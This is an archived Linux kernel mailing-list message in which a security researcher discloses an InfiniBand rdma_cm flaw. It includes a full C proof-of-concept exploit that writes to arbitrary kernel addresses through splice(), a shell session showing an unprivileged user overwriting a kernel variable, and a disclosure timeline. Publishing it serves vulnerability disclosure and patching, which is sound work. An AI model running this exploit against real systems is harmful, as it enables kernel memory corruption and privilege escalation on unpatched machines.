All of lore.kernel.org
 help / color / mirror / Atom feed
From: Jann Horn <jann-XZ1E9jl8jIdeoWH0uzbU5w@public.gmane.org>
To: Yann Droneaud <ydroneaud-RlY5vtjFyJ3QT0dZR+AlfA@public.gmane.org>
Cc: Jason Gunthorpe
	<jgunthorpe-ePGOBjL8dl3ta4EC/59zMFaTQe2KTcn/@public.gmane.org>,
	Doug Ledford <dledford-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	linux-rdma-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Subject: Re: [oss-security] CVE Request: Linux: IB/security: Restrict use of the write() interface'
Date: Mon, 9 May 2016 20:02:08 +0200	[thread overview]
Message-ID: <20160509180208.GB6372@pc.thejh.net> (raw)
In-Reply-To: <1462645186.4268.27.camel-RlY5vtjFyJ3QT0dZR+AlfA@public.gmane.org>

[-- Attachment #1: Type: text/plain, Size: 5377 bytes --]

On Sat, May 07, 2016 at 08:19:46PM +0200, Yann Droneaud wrote:
> Hi,
> 
> Le samedi 07 mai 2016 à 06:22 +0200, Salvatore Bonaccorso a écrit :
> > 
> > Jann Horn reported an issue in the infiniband stack. It has been
> > fixed
> > in v4.6-rc6 with commit e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3:
> > 
> > https://git.kernel.org/linus/e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3
> > 
> > > 
> > > IB/security: Restrict use of the write() interface
> > > The drivers/infiniband stack uses write() as a replacement for
> > > bi-directional ioctl().  This is not safe. There are ways to
> > > trigger write calls that result in the return structure that
> > > is normally written to user space being shunted off to user
> > > specified kernel memory instead.
> > > 
> 
> That's an interesting issue.
> 
> I thought access_ok() done as part of copy_to_user() would protect from
> such unwelcomed behavior. But it's not if the kernel invoke write()
> handler outside of a user process.
> 
> Anyway, as I don't see yet how to reproduce the issue, is there a PoC
> available, I would be interested by a mean to trigger such write().

Here is my writeup of the issue that I made quite a while ago - the
timeline is missing some of the more recent stuff, but meh.

======================================================


Here is a PoC that can be used to clobber data at arbitrary
writable kernel addresses if the rdma_ucm module is loaded (without
actually needing Infiniband hardware to be present):

=====
#define _GNU_SOURCE
#include <limits.h>
#include <errno.h>
#include <err.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <rdma/rdma_user_cm.h>

#define RDMA_PS_TCP 0x0106

// This method forces the kernel to write arbitrary data to the
// target fd under set_fs(KERNEL_DS), bypassing address limit
// checks in anything that extracts pointers from written data.
int write_without_addr_limit(int fd, char *buf, size_t len) {
  int pipefds[2];
  if (pipe(pipefds))
    return -1;
  ssize_t len_ = write(pipefds[1], buf, len);
  if (len == -1)
    return -1;
  int res = splice(pipefds[0], NULL, fd, NULL, len_, 0);
  int errno_ = errno;
  close(pipefds[0]);
  close(pipefds[1]);
  errno = errno_;
  return res;
}

int clobber_kaddr(unsigned long kaddr) {
  // open infiniband fd
  int fd = open("/dev/infiniband/rdma_cm", O_RDWR);
  if (fd == -1)
    err(1, "unable to open /dev/infiniband/rdma_cm - maybe the RDMA kernel module isn't loaded?");

  // craft malicious write buffer
  // structure:
  //   struct rdma_ucm_cmd_hdr hdr
  //   struct rdma_ucm_create_id cmd
  char buf[sizeof(struct rdma_ucm_cmd_hdr) + sizeof(struct rdma_ucm_create_id)];
  struct rdma_ucm_cmd_hdr *hdr = (void*)buf;
  struct rdma_ucm_create_id *cmd = (void*)(buf + sizeof(struct rdma_ucm_cmd_hdr));
  hdr->cmd = RDMA_USER_CM_CMD_CREATE_ID;
  hdr->in = 0;
  hdr->out = sizeof(struct rdma_ucm_create_id_resp);
  cmd->ps = RDMA_PS_TCP;
  cmd->response = kaddr;

  int res = write_without_addr_limit(fd, buf, sizeof(buf));
  int errno_ = errno;
  close(fd);
  errno = errno_;
  return res;
}

int main(int argc, char **argv) {
  if (argc != 2)
    errx(1, "want one argument (kernel address to clobber)");
  char *endp;
  unsigned long kaddr = strtoul(argv[1], &endp, 0);
  if (kaddr == ULONG_MAX || *endp || endp == argv[1])
    errx(1, "bad input number");

  int r = clobber_kaddr(kaddr);
  if (r >= 0) {
    printf("that probably worked? clobber_kaddr(0x%lx)=%d\n", kaddr, r);
    return 0;
  } else {
    printf("failed: %m\n");
    return 1;
  }
}
=====

And here is an example that shows that this indeed works, tested
on a Debian distro kernel:

First, as root (warning: this will make the currently running system exploitable):
root@debian:~# modprobe rdma_ucm

Now, as attacker:
user@debian:~$ cat /proc/sys/vm/swappiness
60
user@debian:~$ ls -l /dev/infiniband/rdma_cm
crw-rw-rw- 1 root root 10, 59 Jan  9 23:07 /dev/infiniband/rdma_cm
user@debian:~$ gdb -q -ex 'print &vm_swappiness' -ex quit /usr/lib/debug/boot/vmlinux-$(uname -r)
Reading symbols from /usr/lib/debug/boot/vmlinux-3.16.0-4-amd64...done.
$1 = (int *) 0xffffffff81861760 <vm_swappiness>
user@debian:~$ gcc -Wall -std=gnu99 -o infiniwrite infiniwrite.c
user@debian:~$ ./infiniwrite 0xffffffff81861760
that probably worked? clobber_kaddr(0xffffffff81861760)=32
user@debian:~$ cat /proc/sys/vm/swappiness
0

As you can see, the vm_swappiness variable in kernelspace was
overwritten by an unprivileged userspace process.

Timeline:
2015-09-11 initial report to security-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org and infiniband maintainers;
        exploitability isn't entirely clear to me yet
2015-09-11 infiniband maintainer responds, but apparently doesn't see an issue
2015-12-26 I figure out the splice trick and ask the infiniband maintainers to
        fix the issue
2015-12-26 Andy Lutomirski asks the infiniband maintainers to fix the issue and
        break the ABI if necessary
2016-01-25 I send the PoC contained in this message to security-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org and
        the infiniband maintainers and ask them again to fix the issue.


[-- Attachment #2: Digital signature --]
[-- Type: application/pgp-signature, Size: 819 bytes --]

  parent reply	other threads:[~2016-05-09 18:02 UTC|newest]

Thread overview: 7+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
     [not found] <20160507042232.GA5286@eldamar.local>
     [not found] ` <20160507042232.GA5286-yvBWh1Eg28aNj9Bq2fkWzw@public.gmane.org>
2016-05-07 18:19   ` [oss-security] CVE Request: Linux: IB/security: Restrict use of the write() interface' Yann Droneaud
     [not found]     ` <1462645186.4268.27.camel-RlY5vtjFyJ3QT0dZR+AlfA@public.gmane.org>
2016-05-08  8:00       ` Christoph Hellwig
2016-05-09 18:02       ` Jann Horn [this message]
     [not found]         ` <20160509180208.GB6372-J1fxOzX/cBvk1uMJSBkQmQ@public.gmane.org>
2016-05-09 19:10           ` Yann Droneaud
     [not found]             ` <1462821041.4268.43.camel-RlY5vtjFyJ3QT0dZR+AlfA@public.gmane.org>
2016-05-09 19:39               ` Jann Horn
2016-05-09 19:48   ` Yann Droneaud
     [not found]     ` <1462823339.4268.54.camel-RlY5vtjFyJ3QT0dZR+AlfA@public.gmane.org>
2016-05-12  0:12       ` ira.weiny

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20160509180208.GB6372@pc.thejh.net \
    --to=jann-xz1e9jl8jideowh0uzbu5w@public.gmane.org \
    --cc=dledford-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org \
    --cc=jgunthorpe-ePGOBjL8dl3ta4EC/59zMFaTQe2KTcn/@public.gmane.org \
    --cc=linux-rdma-u79uwXL29TY76Z2rM5mHXA@public.gmane.org \
    --cc=ydroneaud-RlY5vtjFyJ3QT0dZR+AlfA@public.gmane.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.